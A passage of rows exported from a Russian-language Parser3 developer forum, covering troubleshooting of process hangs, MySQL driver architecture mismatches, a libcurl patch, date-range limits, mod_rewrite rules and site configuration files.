При запуске дочернего sh с порцией данных все отрабатывает, основной скрипт ждет, пока отработают дочерние.\
\
Если сделать через use или file::load, то все будет обрабатываться в одном процессе, что приведет к тому же зависанию, поэтому и стал пробовать через file::cgi/exec."
"78263","То вообще не стоит запускать обработку из самого парсера.\
Лучше вынести это все отдельную микро службу, как у вас реализовано через крон. Зачем вы еще пытаетесь дополнительно форсировать обработку из самого скрипта, не понятно тем более что сам скрипт запущенный из браузера будет точно также ждать пока не закончится выполнение exeс.\
\
Вот тут http://www.parser.ru/forum/?id=75569 , я выкладывал свое решение."
"78264","[quote]У меня были подозрения, что файл, подключаемый через use, может нарушить работу текущего скрипта, т.к. его методы и переменные переопределят уже существующие.[/quote]\
\
может.\
но ничего не мешает не просто переименовать @main[] в @run[], а добавить в начале @CLASS. и использовать его статически.\
в этом случае точно не будет никаких перекрытий методов/переменных.\
\
\
[quote]Также есть проблема с обработкой большого объема данных в течение длительного времени.[/quote]\
\
запуская из одного скрипта другой вы только усугубляете ситуацию, увеличивая и время выполнения и потребление памяти. если установлено ограничение на время процесса, то первый процесс будет убит, а с ним умрёт и дочерний.\
а вот с помощью редиректа вы можете обойти проблему.\
в любом случае, прежде чем что-то делать, надо понять -- а есть-ли эта проблема?\
судя по вашим формулировкам вы в этом не уверены.\
\
также можно пооптимизировать алгоритм. например, у меня в одном из проектов при загрузке проверяются 180+ тысяч ячеек таблицы с помощью regex/hash lookup-ов. и ничего, даже на древнем тормозном сервере вписываюсь в 1 минуту включая загрузку проверенного в БД, а на нормальном сервере процесс занимает буквально десяток секунд.\
\
\
[quote]Если это делать в одном скрипте, то процесс в какой-то момент зависает, дальше ничего не обрабатывается.[/quote]\
\
не верю.\
то, что кто-то прибил процесс -- верю. а что процесс завис -- нет.\
\
\
[quote]Если сделать через use или file::load, то все будет обрабатываться в одном процессе, что приведет к тому же зависанию, поэтому и стал пробовать через file::cgi/exec.[/quote]\
\
именно. и не будет дополнительных save/load файла. не будет кода, который должен подчищать ненужные больше файлы. сам код упростится.\
\
в любом случае сделать так, чтобы file::cgi/exec заработали -- несложно (я указал направление, в каком надо копать), но это тупиковая ветка. если у вас есть проблема с тем, что всё выполняется долго и вы не вписываетесь в лимиты -- вы не решите её таким образом."
"78265","Лимит на время выполнения скрипта убран, скрипт может висеть хоть сутки.\
\
Процесс способен зависать!\
На винде в момент зависания слышен характерный звук, что означает что дальше ничего обрабатываться не будет.\
На линуксе процесс также виснет.\
\
Смысл проблемного скрипта заключается в множественном обращении в внешнему источнику и обработке данных.\
Процесс обработки всех данных может занять сутки.\
Если все делается в одном файле, то процесс зависает, проверял много раз (в течение нескольких часов ни одной записи в логе, хотя каждая порция данных логгируется).\
\
Помог только вызов скрипта с параметром, в котором передается порция данных для обработки.\
\
Суть сказанного понял, попробую поправить скрипты, чтобы работали без file::exec/cgi."
"78266","Скрипт, запущенный из браузера, будет убит по таймауту, если не ошибаюсь.\
Дынные должны браться из базы и внешних источников, после чего обрабатываться.\
Как это сделать в sh, я не знаю, но все равно спасибо за совет."
"78267","В примере на который я дал ссылку, вся обработка происходит в отдельном процессе. Парсер запускает внешний обработчик и при этом не ждет его завершения. Что делает внешний обработчик, это уже отдельная тема. В моем случае он обновлял данные, а это порядка 300м sql файл ). Который просто нереально обновить через браузер. Там просто есть рабочий пример как при exec отпустить парсер запущенный из браузера. Хотя судя по вашему коду, у вас он тоже должен был отпускаться. Надо было только почистить переменные среды."
"78268","[quote]не верю.\
то, что кто-то прибил процесс -- верю. а что процесс завис -- нет.[/quote]\
Виснет-виснет. В менеджере процессов винды это выглядит так - парсер активно набирает память, потом видимо упирается в потолок и дальше просто продолжает висеть, без активности. Только убивать. Причем если повторить запуск того же кода то все повторится в точности также."
"78270","Compiled there. Works fine."
"78271","После переноса сайтов на другой сервер c 64-битной операционной системой в рамках внутренней стандартной процедуры у хост-провайдера Спейсвеб (http://sweb.ru/) перестали работать 2 сайта: \
1) http://dobriy-mir.ru/\
2) http://www.tgs69.ru/\
\
Выдаёт следующую ошибку: /home/t/teodmru/dobriy_mir/public_html/cgi-bin/parser3/lib/libparser3mysql.so\
\
driver failed to initialize client library '/usr/lib/mysql/libmysqlclient.so', /usr/lib/mysql/libmysqlclient.so: wrong ELF class: ELFCLASS64\
\
/home/t/teodmru/dobriy_mir/public_html/classes//stdlib.p(13:2)\
connect	/home/t/teodmru/dobriy_mir/public_html/classes//stdlib.p(13:2)\
dbconnect	/home/t/teodmru/dobriy_mir/public_html/auto.p(31:10)\
\
У нас никто из программистов не знает Парсера. Подскажите, пожалуйста, как это исправить!\
\
Заранее огромное спасибо!"
"78272","А версия парсера подходит для 64 ?"
"78274","Я точно не могу сказать, но скорее всего парсер у вас 32битный, также как и апач. А вот библиотека mysql 64 битная, надо бы уточнить у хостера где находится 32битная библиотека mysql, а также прописать её в auto.p который находится рядом с исполняемым файлом парсера."
"78275","Cпасибо большое за ответы! Мы исправили путь и всё получилось! :)\
\
Ура! :)"
"78276","Имеем таблицу:\
$table[^table::create{num\
20\
6\
9\
12\
15\
}]\
\
Сортируем ее:\
^table.sort{$table.num}\
\
Получаем:\
[\
	[\"num\"]\
	[\"12\"], \
	[\"15\"], \
	[\"20\"], \
	[\"6\"], \
	[\"9\"]\
]\
\
Вроде как неправильно, не?"
"78278","Добрый день!\
\
Cкрипт работает, решил сэкономить на трафике, добавил опцию $.accept_encoding[gzip], перестал работать...\
\
Пишет в лог:\
[quote]'options' called with invalid option 'accept_encoding' [/quote]\
\
Может при сборке надо было что-то отдельно-дополнительное сказать?"
"78279","... патч для accept_encoding не попал в релиз. :(\
\
Изменение тривиально, можете применить к исходникам и собрать заново:\
[code]\
Index: curl.C\
===================================================================\
RCS file: /parser3project/parser3/src/classes/curl.C,v\
retrieving revision 1.24\
diff -u -r1.24 curl.C\
--- curl.C	14 Mar 2013 02:42:57 -0000	1.24\
+++ curl.C	19 Apr 2013 18:45:22 -0000\
@@ -225,7 +225,10 @@\
 		CURL_OPT(CURL_URLENCODE, REFERER);\
 		CURL_OPT(CURL_INT, AUTOREFERER);\
 		CURL_OPT(CURL_STRING, ENCODING); // gzip or deflate\
-		CURL_OPT(CURL_INT, FOLLOWLOCATION);\
+#ifdef CURLOPT_ACCEPT_ENCODING\
+		CURL_OPT(CURL_STRING, ACCEPT_ENCODING); // gzip or deflate\
+#endif\
+			CURL_OPT(CURL_INT, FOLLOWLOCATION);\
 		CURL_OPT(CURL_INT, UNRESTRICTED_AUTH);\
 \
 		CURL_OPT(CURL_INT, POST);\
[/code]\
\
p.s. Либо использовать $.encoding[gzip] вместо $.accept_encoding, но этот параметр считался официальным только до версии кюрла 7.21.6."
"78280","[quote]CURLOPT_ACCEPT_ENCODING\
\
Sets the contents of the Accept-Encoding: header sent in a HTTP request, and enables decoding of a response when a Content-Encoding: header is received. Three encodings are supported: identity, which does nothing, deflate which requests the server to compress its response using the zlib algorithm, and gzip which requests the gzip algorithm. [b]If a zero-length string is set, then an Accept-Encoding: header containing all supported encodings is sent.\
[/b]\
This is a request, not an order; the server may or may not do it. This option must be set (to any non-NULL value) or else any unsolicited encoding done by the server is ignored. See the special file lib/README.encoding for details.\
\
(This option was called CURLOPT_ENCODING before 7.21.6) \
[/quote]\
http://curl.haxx.se/libcurl/c/curl_easy_setopt.html#CURLOPTACCEPTENCODING\
\
Кюрл автоматически посыдает серверу заголовок accept_encoding, который содержит список всех алгоритмов сжатия, которые он поддерживает и распаковыввает ответ автоматически. А параметр нужен для «кастомных» веб-серверов, которые поддерживают какой-то один способ сжатия и не умеют корректно парсить http-заголовок."
"78281","С пустым полем по статье я тоже ранее пробовал, не пошло да и не могло - поддержки-то нет.\
Пачт применю после выходных на работе, сервер сильно заколдован, не подобраться :)\
\
А сервер-донор умный, выдаёт на выбор:\
[quote]Accept-Encoding:gzip,deflate,sdch[/quote]\
\
Спасибо!"
"78282","... поскольку для сборки потребуется заменить заголовки в parser3/src/lib/curl на системные и патчик будет несколько иной — надо убрать ifdef'ы совсем и оставить только строчку:\
[code]\
   CURL_OPT(CURL_STRING, ACCEPT_ENCODING); // gzip or deflate\
[/code]\
\
p.s. CURLOPT_ENCODING явно будет поддерживаться в кюрле и дальше (для совместимости), поэтому это достаточно безопасно."
"78283","Встроенный тип date поддерживает даты, начиная с 1970 года. Такое ограничение выливается в невозможность работы, например, с днями рождений многих наших клиентов (.\
\
В чем причина такого ограничения? Нельзя ли расширить диапазон?\
\
P.S. cdate не предлагать )"
"78284","... http://ru.wikipedia.org/wiki/UNIX-%D0%B2%D1%80%D0%B5%D0%BC%D1%8F\
\
Если нужна арифметика с более ранними данными, то это можно делать через СУБД — написать простенькую обертку вокруг майэскюэлевских функций не сложно, да и в запросах сразу посчитать все что надо (наверняка нужна простейщая разница между датами, т.е. возраст :).\
\
И совсем не понятно, чем не угодил cdate. :)\
\
p.s. Разработчики обсуждали возможность переписывания всей подсистемы работы с датами, но в ближайшее время не стоит ожидать изменений в этом направлении."
"78285","С MySSQL не всегда удобно все делать, иногда просто надо работать с датой, не прибегая к помощи БД\
\
cdate не нравится тем, что это отдельное неродное решение. Хочется, чтобы парсер сам умел работать с расширенным диапазоном дат.\
\
Раз парсер использует unixtime, то почему он не может быть отрицательным, чтобы даты были раньше 1970г?\
\
>> p.s. Разработчики обсуждали возможность переписывания всей подсистемы работы с датами, но в ближайшее время не стоит ожидать изменений в этом направлении.\
\
Очень жаль, костыли уже надоели, хочется без извращений все делать )"
"78286","Если чего-то нет нативно, то, в подавляющем большинстве случаев, можно дописать клас самому либо использовать возможности сателитных систем. С датами ситуация очень не простая (куча нюансов, временные зоны и т.п.), поэтому переделать \"малой кровью\", учесть хитрые случаи и оставить простой интерфейс - это очень нетривиальная задача.\
\
Если ввести отрицательные числа, то на 32-битных системах диапазон закончится в 2004 г., а не в 2038. И проблему с днями рождения клиентов это не решит - людей, родившихся в 1935 году не так и мало, а если система содержит архив за 10 лет, то еще больше."
"78287","Может хотя бы на 64-битных системах можно это безболезненно сделать? Кстати, а как это сделано например в PHP? Я что-то не помню там проблем с датами даже на 32-битах."
"78288","год назад мы это дело обсуждали в контексте cdate, но по идее такое и нативно можно прикрутить.\
\
Суть в том что существует т.н. календарный цикл длинной в 28 лет, то есть если сделать date::now[] и потом отroll'ить её ровно на 28 лет назад, в полях такого обьекта кроме года ничего не изменится (теоритически).\
\
Следовательно, мы можем взять текущий рабочий диапазон (от 01.01.1970 до 01.01.2038), и выделить допустим ровно в середине 28 лет, потом написать обертку на более высоком уровне абстракции, которая при попытке создания даты высчитывала бы \"эквивалент\" даты в нашем 28-летнем диапазоне, который передавала бы на более низкий уровень где формировался бы существующий обьект date; а так же высчитывала бы смещение относительно 28-летнего диапазона, которое бы запоминалось и использовалось потом для вывода полей (подменяя год из диапазона на актуальный). Ну и очень кстати в исходном рабочем диапазоне по краям осталось по 20 лет которые можно смело использовать для date.roll не боясь получить date.range exception."
"78289","Исполняю файл - получаю тело - хочу обработать и вытащить нужную часть его - но при записи $file.text  в переменную для дальнейшей обработки -  вываливает содержимое файла\
\
Буду признателен за наводку или подсказку!\
\
[code]  ^curl:options[\
    $.library[libcurl.so.4.2.0]\
\
  ]\
$file[^curl:load[\
  $.url[http://translate.google.com.ua/translate_t]\
  $.postfields[prev=hp&hl=en&js=n&sl=en&tl=ru&text=$text]  \
    $.verbose(1)\
    $.failonerror(1)\
    $.timeout(3)\
    $.post(1)\
    $.useragent[$agent]\
    $.httpheader[$hdr]\
]] \
^if($file.status == 200){\
$str[$file.text]\
\
$parts[^str.split[<span id=result_box;lh]] \
\
$parts.0\
}{}[/code]"
"78291","[quote]существует т.н. календарный цикл длинной в 28 лет[/quote]\
ой ли?\
вы уверены?\
с учётом leap seconds?"
"78293","теоритически 28 лет это минимальный диапазон при котором циклически совпадают дни недели и числа месяца. На практике с учетом секунд сейчас не могу проверить, как понимаю нужно взять дату из парсерного рабочего диапазона с запасом в 28 лет в обе стороны, например из 2000-го, отроллить назад на 28 лет и посмотреть изменилось ли количество секунд. Если изменилось, отроллить исходную дату на 28 лет вперед и сравнить совпадает ли изменение по секундам. Если секунды не изменились значит leap seconds вообще можно не учитывать(?), если изменились одинаково значит doublecheck и нужно учитывать это число при смещении, если изменились неодинаково значит фейл. Как-то так?"
"78294","leap seconds учитываются \"ручками\" (т.к. нет точных прогнозов по замедлению вращения земли). их вносят на основании текущих измерений. раньше их не было.\
\
т.е. если откатиться назад на пару циклов, то там точно это не совпадёт с тем циклом, что идёт сейчас.\
\
я не знаю, насколько это нужно учитывать у нас (и не знаю учитывается ли это, например, в SQL серверах), но я хочу показать, что если их учитывать, то уже есть неодинаковые циклы."
"78295","Именно через нее реализован объект DateTime в пятом ПХП. Как дойдем до переделки обсудим подробнее. :)"
"78296","\"вываливает\" :) - не присваивается переменной $str, а отображается на экране\
Задача - 1)обратиться к гуглу - 2) получить ответ - 3) удалить из ответа лишнее - 4)результат на экран\
\
На этапе 2 - получаю текст файла - пытаюсь сохранить его в переменной чтобы потом подрезать\
Но на экран \"вываливается\" текст файла - минуя мою логику сохранения в переменной и т.д."
"78298","попробуйте сделать bug.html -- отдельный файл с минимально необходимым набором инструкций, воспроизводящий баг.\
\
но я сомневаюсь, что не происходит присвоения переменной.\
сразу за присвоением напишите: ^throw[;===$str===]\
уверен, что вы увидите исключение и обнаружите в нем два вхождения строки \"===\""
"78299","Привет. \
Иногда, в примерно 10% запросов, сайты на Парсере перестают отвечать и через пару десятков секунд вылетают с 500й ошибкой. \
\
Я понаставил штук 20 проверок, которые смотрят время с момента запуска программы, и если оно больше 1 секунды, создают unhandled exception. \
\
Результат: закономерности нет никакой, вылетает после вызовов различных процедур, через разные периоды времени и на абсолютно разных запросах. \
\
Только одна закономерность: все вылетающие сайты находятся на одной площадке Мастерхоста. На другой площадке всё работает стабильно, причем сайты второй - на 2-3 порядка более загруженные. Версии Парсера везде одинаковые (Parser/3.4.1 (compiled on i386-unknown-freebsd7.2)).\
\
Саппорт утверждает, что операционки и лимит на ресурсы на обеих площадках установлены одинаковые.\
\
Посоветуйте, пожалуйста, куда дальше копать."
"78300","Просто смените хостера на более адекватного. .masterhost, к сожалению, сейчас трудно отнести к таковым.\
\
Здесь, судя по всему, на сервере крутится какой-то \"жирный\" сайт, либо сервер перегружен под завязку количеством сайтов на себе, что является \"стандартной практикой\" для некоторых хостеров.\
\
Вам эту проблему самостоятельно никак не решить, хоть переписав на ассемблере сайт."
"78301","... а вот нагрузка на серверах может быть разная. Скорее всего на проблемном сервере есть несколько «соседей», которые «упираются» в лимиты, а оставшимся скриптам ресурсов уже не хватает. В данном случае ничего не поделаешь — надо попросить хостера перенести ваш сайт на менее нагруженный сервер или подумать о переходе на виртуальный выделенный сервер [тоже не панацея, но контроля за происходящим будет больше]."
"78302","Падения не связаны со временем суток. И обратно пропорциональны количеству заходов. За вчера - 10 ночью, 7 утром и 5 днем. Это совсем не коррелирует с московскими часами пик интернета."
"78303","А вы думаете работоспособность Парсера меняется в зависимости от времени суток?"
"78304","Я думаю, соседи по площадке отжирают ресурсы преимущественно днем и вечером. Тогда бы и падения парсера имели суточную зависимость: максимум днем и вечером, и полное отсутствие ночью. Ну а раз это не так, значит, дело не в нагрузке."
"78305","И небось ещё на хх:00 минут, так что нагрузки суммируются между собой у разных сайтов. И понеслись нехватки ресурсов."
"78306","Столкнулся с такой же проблемой при работе с Rotabanner. Подскажите пожалуйста, удалось ли вам её решить и как?"
"78308","Чтобы сказать что-то конкретное надо посмотреть логи, получить более подробное описание симптомов происходящего и т.д. и т.п. :)"
"78309","В логах отсутствует подробная информация - только текст типа \"unhandled exception or misconfiguration\". Так что придется забить на решение и переезжать. Учитывая то, что мастерхост скурвился и за каждый чих требует денег, послушаю dwr и сменю хостера."
"78310","а вы уверены, что до выполнения парсера вообще доходит дело?\
\
если доходит (в чём я сомневаюсь), то можно попробовать так:\
в @conf[] генерить UID и писать в log время, UID, uri, 'begin'\
в @postprocess в тот-же log писать время, UID, 'end'\
\
потом поищите в логе процессы, которые начались, но не закончились. заодно сравните время запуска с тем, что есть в error.log."
"78311","Как ранее написал, я вставил в несколько мест кода проверку времени работы скрипта и создание unhandled exception, если оно превышает 2 сек. \
Результат: исключения случаются, но ни по одной из точек вызова не набрано максимума.  Т.е. нельзя утверждать, что в скрипте присутствует тормозной участок."
"78312","вы пишите про ошибки и какие то обработчики, но\
- не привели конкретно ни одной строчки из логов ошибок (апач, парсер), статус 500 может быть по множеству причин, слова misconfiguration, как сказал вам Миша в парсере нет\
- не привели ни кода ваших контрольных точек, ни хотя бы алгоритма их расстановки.\
\
на попытки выудить из вас эту информацию вы не реагируете, так что тему можно считать закрытой, гадать бесполезно\
\
Не буду защищать мастерхост, но у меня есть на нем пара проектов - проблем честно говоря не наблюдаю."
"78313","Не могу никак установить Parser на TimeWeb. Все делаю строго по инструкции (закачиваю, ставлю права, дописываю .htaccess), но вылазит 500 ошибка. Кто сталкивался с этим?"
"78314","Несмотря на то, что там 64-битная система, парсер работает только 32-битный (parser3_4_2_redhat73_cgi_xml.tar.gz)\
А вот libmysqlclient.so 32-битный у них не установлен и не предвидится, поэтому если найдете, буду очень благодарен насчет поделиться.\
Пока ошибка такая: http://bugotak.tmweb.ru/p3test\
 (путь указан саппортом) driver failed to initialize client library '/usr/lib64/libmysqlclient.so.16.0', can not open the dynamic link module\
\
Хотя, та же самая ошибка выскакивает если указать несуществующий путь, так что я не могу сделать вывод, не работает ли драйвер или он просто не найден. Надеюсь, опытные участники подскажут."
"78315","Спасибо, все заработало :-) А я уже хотел хостинг менять)"
"78316","Повторюсь, мне тоже нужен этот файл. george@sibarit.ru"
"78318","Спасибо. Скачал три архива - Linuc Generic, SuSE и Red Hat. Везде libmysqlclient.so имеет размер 0 (ноль) байт.\
Можете прокоментировать?\
И да, по-прежнему не работает.\
driver failed to initialize client library '/home/b/bugotak/public_html/cgi-bin/lib/libmysqlclient.so', can not open the dynamic link module"
"78319","Сразу станет понятно, что там стоят симлинки на so-библиотеку ненулевого размера. Дальше понятно, что делать — либо оставить симлинк, либо переименовать файл с библиотекой."
"78325","Есть код:\
[code]#######################################\
@main[]\
^deleteImageFile[^getPhotoName[58]]\
### End @main\
\
#######################################\
@deleteImageFile[name][path;list;name]\
^if(def $name){\
	$path[/i/gallery/^name.left(2)]\
	$list[^file:list[$path/;^untaint[as-is]{$name}\\.]]\
#	$list[^file:list[$path/;8B7C49F2C0238D63\\.]]\
	^if($list){\
		^list.menu{\
			^file:delete[$path/$list.name]\
		}\
	}\
}\
### End @deleteImageFile\
\
\
#######################################\
@getPhotoName[id]\
$result[^oSql.string{\
		SELECT name\
		FROM photo\
		WHERE id = $id\
	}[\
		$.limit(1)\
		$.default{}\
	]\
]\
### End @getPhotoName[/code]\
\
$list при выводе имени из базы получается пустой, подставляем напрямую все ок. Казалось бы все должно работать, и даже $name, приходящий из базы обернут, но не работает. Понятное дело если раскоментить второй $list, все как часы"
"78326","попробуйте упростить код:\
- в тестовый файл скопируйте только @deleteImageFile\
- удаление замените на вывод содержимого $list и вывод '$name' (чтобы увидеть затесавшиеся пробельные символы)\
- перенесите файл /i/gallery/8B7C49F2C0238D63.ext в другое место, подправьте пусть\
- вызовите ^deleteImageFile[8B7C49F2C0238D63] и ^deleteImageFile[^taint[8B7C49F2C0238D63]] -- есть разница?\
- приведите получившийся код и сообщите версию парсера и OS"
"78327","пробельный символ корень зла:\
\
было:\
\
[code]#######################################\
@getPhotoName[id]\
$result[^oSql.string{\
		SELECT name\
		FROM photo\
		WHERE id = $id\
	}[\
		$.limit(1)\
		$.default{}\
	]\
]\
### End @getPhotoName[/code]\
\
стало:\
\
[code]#######################################\
@getPhotoName[id]\
$result[^oSql.string{\
		SELECT name\
		FROM photo\
		WHERE id = $id\
	}[\
		$.limit(1)\
		$.default{}\
]]\
### End @getPhotoName[/code]"
"78328","Надо достать из txt-файла текст раздела. После чего, если мы не на главной - untaint его, если на главной - process.\
\
[code]# получаем адрес\
^sections.menu{^if($sections.uri eq $uri){$textpath[/0texts$sections.content]\
# извлекаем текст\
$getit[^file::load[text;$textpath]]\
 если на главной, процессим;\
^if($uri eq '/'){\
^process{$getit.text}}{\
# если нет - просто антейнтим.\
^untaint[as-is]{$getit.text}\
}[/code]\
\
Результат: [b]главная не работает.[/b]\
\
В файле main.txt есть только ^вызов[], который, будучи вписанным в auto.p, вполне себе работает. Но надо вогнать его в текст. Не получается, Unhandled.\
\
Пробую в auto.p записать $переменную[^вызов[]] и в тексте писать её - ни фига, один чёрт.\
\
Пока пробовал, в логах два комментария в зависимости от стадии:\
\
1.[b]/index.html(1:2): 'MAIN' method_frame may not be overwritten with junction, store it to variable instead [parser.runtime] [uri=/, method=GET, cl=0][/b]\
\
2.[b]/auto.p(354:19): 'process' options param must not be code (parameter #2) [parser.runtime] [uri=/, method=GET, cl=0][/b] - это когда в процесс всего-то подставлял [as-is].\
\
Как быть? :("
"78330","По поводу индекса лучше проверять вот так\
[code]	^if(^uri.pos[?]>=0){$uri[^uri.left(^uri.pos[?])]}\
	$isIndex(^if(^uri.match[^^/(ru/|en/)?(index.html)?^$]){1}{0}[/code]\
Вариантов индекса много ), регулярка расширяется и получаем нужный результат.\
А по поводу кода, лучше более подробно что и откуда вы вызываете. Пока что не очень понятно.\
Но вообще я так делаю вызов из текстового файла\
[code]^process{^untaint[as-is]{$page.text}}[/code]"
"78335","https://www.google.com/search?q=%D0%BA%D0%B0%D0%BA+%D1%80%D0%B0%D1%81%D0%BF%D0%B0%D0%BA%D0%BE%D0%B2%D0%B0%D1%82%D1%8C+tar.gz&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest\
\
или закачать на сервер, зайти на него по ssh, запустить mc, найти архив и начать на нём enter."
"78337","Здравствуйте!\
\
Подскажите, как нанести на картинке GIF прозрачный пиксель?\
И какому цвету он соответствует, если я хочу получить цвет методом [code]^картинка.pixel(x;y)[/code]?"
"78350","что-то перестал быть виден cvs.parser.ru"
"78351","только что проверил -- работает.\
\
P.S. если нужно по http, то cvsview.parser.ru"
"78352","При подключении говорит\
\"cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
Logging in to :pserver:anonymous@cvs.parser.ru:2401/parser3project\
CVS password:\
cvs [login aborted]: Name or service not known\
\"\
 ну и при попытке пинговать говорит что unknown host"
"78353","при чистке DNS от мусора после перезда офиса удалилось лишнее. :)"
"78354","Кто-нибудь создавал поиск посредством Парсера?"
"78355","Он сделан средствами полнотекстового поиска, встроенными в MySQL и из Парсера прекрасно вызывается.\
\
Можно подключить http://site.yandex.ru/\
\
Если у вас не виртуальный хостинг, а свой сервер (выделенный или виртуальный), то вариантов уже сильно больше:\
— http://api.yandex.ru/server/\
— http://sphinxsearch.com/\
— http://lucene.apache.org/core/\
и еще куча других решений, которые легко находятся поиском в Яндексе/Гугле. :))))"
"78358","задача: запрос содержащий \"?id=1000\" перенаправить на http://site.ru\
\
RewriteRule ^/index.html?id=1000$ http://site.ru [R=301,L]\
RewriteRule ^/index\\.html?id=1000$ http://site.ru [R=301,L]\
RewriteRule ^/index\\.html\\?id=1000$ http://site.ru [R=301,L]\
RewriteRule ^/index\\.html\\?id\\=1000$ http://site.ru [R=301,L]\
RewriteRule .*1000$ http://site.ru [R=301,L]\
и еше 1000 вариантов к успеху не привели\
\
подскажите PLS!!!"
"78359","[code]RewriteCond %{QUERY_STRING} id=1000\
RewriteRule .* http://…/? [L,R=301][/code]"
"78360","получается http://site.ru/?id=1000 и уходит в цикл This webpage has a redirect loop"
"78361","[code]RewriteRule .* http://…/[color=\"#ff0000\"]?[/color] [L,R=301][/code]\
Вопросительный знак не забыт?"
"78362","Таки да! Забыт!\
ОГРОМНОЕ спасибо!!!!!!!"
"78363","разыскивается драйвер MySQL под ARM (если конкретно, то для Raspberry) - может кто уже компилял ?\
\
Сообщение от Creator я видел - где бы только самого Creator'a найти, давно он не пишет..\
\
---\
dimap"
"78364","А самому попробовать скомпилировать?\
Там же ничего сложного нету."
"78365","Самому можно сделать практически абсолютно все, но трудозатраты на это могут стать несоизмеримо большими.\
\
А в общем я пробовал - configure вывалился с ошибкой отсутствия mysql-евских header-файлов. где их искать - для меня вопрос, хотя некоторым может показатся это смешным. Конечно можно погуглить и решить эту проблему, но не факт, что за решением этой проблемы не вылезет еще одна."
"78367","Debian собирает пакеты под все платформы.\
http://packages.debian.org/wheezy/parser3-mysql\
Внизу ссылки на скачивание, или через apt-get install."
"78368","Пытаюсь сделать пример http://www.parser.ru/docs/lang/?lesson4.htm.\
\
При подключении к бд $SQL:drivers table must be defined [parser.runtime]. Но не в этом вопрос. Вопрос как указать путь к главному конфигурационному файлу? \
Он у меня расположен в /etc/parser3/apache2/auto.p. \
Сам парсер в /usr/lib/cgi-bin/parser3.\
Сайт находится в папке /home/uname/www. \
Стандартный .htaccess \
RewriteEngine on\
AddHandler parser3-handler html\
Action parser3-handler /usr/lib/cgi-bin/parser3\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
Точно знаю что проблема в этом, т.к когда я скопировал содержимое /etc/parser3/apache2/auto.p в auto.p в корне сайта.\
\
Повторю вопрос. Как указать парсеру путь к конфигу.\
Спасибо"
"78369","Не дописал предложение.\
\
Точно знаю что проблема в этом, т.к когда я скопировал содержимое /etc/parser3/apache2/auto.p в начало файла auto.p в корне сайта, все заработало."
"78371","спасибо за совет.\
как то даже не подумал, что это можно найти в официальных репозиториях...\
\
---\
dimap"
"78372","Здравствуйте. \
\
Есть готовый сайт, он располагается на сервере, запущен и успешно работает под CentOS. К сожалению, не могу назвать адрес сайта. \
\
Пытаюсь установить копию сайта на локальную машину с Ubuntu. До того как было указано неверное подключение к базе, parser выдавал мне соответствующую ошибку(что подключение не может быть установлено). База MySQL. Как только указываю верные настройки получаю в браузере Error 324 (net::ERR_EMPTY_RESPONSE). В логе apache:\
Cord too long\
[Fri May 24 10:28:40 2013] [notice] child pid 6068 exit signal Aborted (6)\
\
далее указываю файл конфига parser auto.p\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[/usr/lib/parser3]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so.18\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(100*0x400*0x400)\
]	\
\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Ошибка!;;\
\
<p>Ваш запрос не может быть выполнен в результате ошибки на сервере.</p>\
]\
\
@unhandled_exception[exception;stack]\
#use debug version to see problem details\
#^if(^MAIN:bDebug.int(0) || $form:sje eq kefjdladf){\
	^unhandled_exception_debug[$exception;$stack]\
#}{\
#	^unhandled_exception_release[$exception;$stack]\
#}\
\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$CLASS_PATH[^table::create{path\
/classes\
/classes/operators\
/classes/common\
/classes/pclass\
/classes/common/pclass}]\
\
$db[mysql]\
\
$site_domain[site.test]\
\
# connect to db\
$cs[mysql://root:root@localhost/site]\
$csNew[mysql://root:root@localhost/site]\
[/code]\
\
Что за ошибка Cord too long? И куда копать.\
\
Буду благодарен за любую помощь."
"78373","К базе подключается и забирает данные - точно. Видно в логе mysql"
"78375","> Что за ошибка Cord too long? И куда копать.\
\
Эта ошибка может возникнуть, если у вас появилась строка длиной больше пары гигабайт. Но возникновение такой ошибки в обычной ситуации маловероятно, скорее всего это тоже ошибка\
